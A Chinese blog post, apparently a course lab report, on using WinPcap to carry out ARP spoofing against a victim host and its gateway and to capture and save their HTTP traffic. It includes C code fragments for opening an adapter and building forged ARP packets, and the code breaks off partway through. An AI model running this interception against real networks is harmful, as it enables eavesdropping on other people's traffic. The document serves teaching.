WinPcap编程——APR欺骗

本文介绍了如何使用WinPcap编程实现ARP欺骗,进行中间人攻击。实验要求包括欺骗主机和网关,截获并保存HTTP报文。在实验原理部分,详细阐述了选择网卡、发送ARP请求包、识别HTTP报文和转发数据包的步骤。实验总结中提到,理解每行代码的重要性以及Wireshark对网络速度的影响。
摘要由CSDN通过智能技术生成

一 实验要求

利用WinPcap编程,实现基于ARP欺骗的中 间人攻击。
1)利用WinPcap,分别向被欺骗主机和网关发送APR请求包, 达到同时欺骗目标主机和网关的目的;
2)所有目标主机和网关之间的数据都会被我们劫持,过滤 两者之间的所有http交互数据包,并保存为文件。 (http包的过滤可用80端口来标识)

二 实验原理

1 选择网卡及过滤规则

在这里特别注以下几点:

1 . char packet_filter[] = "not arp";//选择过滤的协议
2 . /* 跳转到用户选择的网卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

/* 打开网卡 */
adhandle = pcap_open_live(d->name,                 
65536,                         
1,                             
1,                         //这里读取时间不要设置的太长,否则会超时
errbuf                         
);

2 ARP欺骗主机和网关

利用WinPcap,分别向被欺骗主机和网关发送APR请求包
创建子线程,在子线程中实现arp欺骗
//欺骗目标主机
    unsigned char sendbuf[60], sendbuf1[60]; //arp包结构大小,42个字节
    unsigned long dip, sip;
    dip = inet_addr(victim_ip);//目标ip
    sip = inet_addr(gateway_ip);//网关ip
    memset(eh.DestMAC, 0xff, 6);
    memcpy(eh.SourMAC, smac, 6);   //以太网首部源MAC地址
    memcpy(ah.smac, smac, 6);   //ARP字段源MAC地址
    memset(ah.dmac, 0x00, 6);
    memcpy(ah.sip, (const void*)&sip, 4);   //ARP字段源IP地址
    
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值